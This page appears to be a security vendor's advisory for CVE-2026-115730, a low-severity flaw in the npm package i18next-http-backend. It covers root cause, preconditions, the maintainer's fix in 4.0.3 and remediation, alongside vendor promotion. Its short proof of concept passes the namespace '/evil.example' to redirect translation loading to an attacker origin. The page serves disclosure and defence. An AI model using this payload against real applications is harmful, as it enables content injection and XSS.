CVE-2026-115730

CVE-2026-115730 is a low-severity security vulnerability in i18next-http-backend (npm), affecting versions < 4.0.3. It is fixed in 4.0.3.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)

Affected versions

Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Root cause

isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC

import Backend from 'i18next-http-backend'
const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json',
  request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } })
b.read('en', '/evil.example', () => {})

Observed on 4.0.2:

POC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json  origin in page https://app.example/ = https://evil.example

Negative controls (same run)

  • ns //evil.example: rejected ("unsafe lng/ns value").
  • lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected.
  • ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Disclosure

We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification

Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected. Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

Impact

Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.2 maintainer note says templates with a leading / are safe. This case is outside that statement.

CVE-2026-115730 has a CVSS score of 3.1 (Low). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.3); upgrading removes the vulnerable code path.

Affected versions

i18next-http-backend (< 4.0.3)

Security releases

i18next-http-backend → 4.0.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Frequently Asked Questions

  1. What is CVE-2026-115730? CVE-2026-115730 is a low-severity security vulnerability in i18next-http-backend (npm), affecting versions < 4.0.3. It is fixed in 4.0.3.
  2. How severe is CVE-2026-115730? CVE-2026-115730 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of i18next-http-backend are affected by CVE-2026-115730? i18next-http-backend (npm) versions < 4.0.3 is affected.
  4. Is there a fix for CVE-2026-115730? Yes. CVE-2026-115730 is fixed in 4.0.3. Upgrade to this version or later.
  5. Is CVE-2026-115730 exploitable, and should I be worried? Whether CVE-2026-115730 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115730 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115730? Upgrade i18next-http-backend to 4.0.3 or later.

Other vulnerabilities in i18next-http-backend

Stop the waste.
Protect your environment with Kodem.